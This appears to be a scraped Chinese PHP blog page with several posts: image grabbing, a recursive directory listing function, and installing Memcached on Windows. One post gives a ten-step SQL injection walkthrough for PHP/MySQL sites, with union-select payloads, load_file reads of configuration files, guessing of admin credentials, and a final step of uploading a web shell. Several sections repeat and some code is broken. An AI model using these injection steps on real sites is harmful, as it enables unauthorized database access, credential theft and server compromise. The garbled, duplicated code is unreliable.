$img=GrabImage("http://www.google.com/intl/en_ALL/images/logo.gif","logo.gif");
if($img){
echo '
}else{
echo "false";
}
这是保存google的logo的例子,获取到的图片保存在同级目录下面。
获取一系列的有规律的图片(例如:以数字1-100命名的100张图片):
for ($i=1;$i<=100;$i++){
$img=GrabImage("http://www.yourimagesite.com/images/$i.gif","images/$i.gif");
}
上面的www.yourimagesite.com是图片的网址,需要自己修改,程序执行完后,所有的图片将会保存到images目录下面。
用PHP递归循环每一个目录
很多时候我们要遍历一个文件夹里面的所有目录,列出里面所有的文件,PHP本身自带的有一个readdir的函数,不过只能读取当前的目录,根据这个函数,我写了另外一个函数,用来实现我的需求。函数的原理很简单,主要就是用了一下递归调用。
function file_list($path){
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if (is_dir($path."/".$file)) {
echo $path.": ".$file."
";//去掉此行显示的是所有的非目录文件
file_list($path."/".$file);
} else {
echo $path.": ".$file."
";
}
}
}
}
}
这个函数还可以继续做一些改进,加入一些文件夹或文件的图标什么的,这样就可以做成更强大的一个函数了,有兴趣的朋友可以扩展的一下。
function file_list($path){
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if (is_dir($path."/".$file)) {
echo $path.": ".$file."
";//去掉此行显示的是所有的非目录文件
file_list($path."/".$file);
} else {
echo $path.": ".$file."
";
}
}
}
}
}
这个函数还可以继续做一些改进,加入一些文件夹或文件的图标什么的,这样就可以做成更强大的一个函数了,有兴趣的朋友可以扩展的一下。
php注入十点基本步骤
1.判断是否存在注入,加';and 1=1;and 1=2
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。
2.判断版本 and ord(mid(version(),1,1))>51 /* 返回正常说明是4.0以上版本,可以用union查询
3.利用order by 暴字段,在网址后加 order by 10 /* 如果返回正常说明字段大于10
4.再利用union来查询准确字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,说明猜到准确字段数。如过滤了空格可以用/**/代替。
5.判断数据库连接帐号有没有写权限,and (select count(*) from mysql.user)>0 /*如果结果返回错误,那我们只能猜解管理员帐号和密码了。
6. 如果返回正常,则可以通过and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路径的ascii值,用逗号隔开)),8,9,10 /* 注:load_file(char(文件路径的ascii值,用逗号隔开))也可以用十六进制,通过这种方式读取配置文件,找到数据库连接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,说明存在这个表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段显示出字段内容则存在些字段。
9.同理再猜解password字段,猜解成功再找后台登录。
10.登录后台,上传shell。
2008年10月30日星期四
Windows安装Memcached
刚刚介绍了MemcachedQ的情况,想起自己有关于安装memcached的方法,一并了上来,但这个是针对于windows系统!
相对unix来说,安装方法简单!
1. 下载memcache,解压放某个盘下面,比如在c:\memcached
2. 在终端(也即cmd命令界面)下输入 ‘c:\memcached\memcached.exe -d install’ 安装
3. 再输入: ‘c:\memcached\memcached.exe -d start’ 启动。NOTE: 以后memcached将作为windows的一个服务每次开机时自动启动。这样服务器端已
经安装完毕了。
4.下载php_memcache.dll,请自己查找对应的php版本的文件
5. 在C:\winnt\php.ini 加入一行 ‘extension=php_memcache.dll’
6.重新启动Apache,然后查看一下phpinfo,如果有memcache,那么就说明安装成功!
测试:
$mem = new Memcache;
$mem->connect("127.0.0.1", 11211);
$mem->set('key', 'This is a test!', 0, 60);
$val = $mem->get('key');
echo $val;
相对unix来说,安装方法简单!
1. 下载memcache,解压放某个盘下面,比如在c:\memcached
2. 在终端(也即cmd命令界面)下输入 ‘c:\memcached\memcached.exe -d install’ 安装
3. 再输入: ‘c:\memcached\memcached.exe -d start’ 启动。NOTE: 以后memcached将作为windows的一个服务每次开机时自动启动。这样服务器端已
经安装完毕了。
4.下载php_memcache.dll,请自己查找对应的php版本的文件
5. 在C:\winnt\php.ini 加入一行 ‘extension=php_memcache.dll’
6.重新启动Apache,然后查看一下phpinfo,如果有memcache,那么就说明安装成功!
测试:
$mem = new Memcache;
$mem->connect("127.0.0.1", 11211);
$mem->set('key', 'This is a test!', 0, 60);
$val = $mem->get('key');
echo $val;
订阅:
博文 (Atom)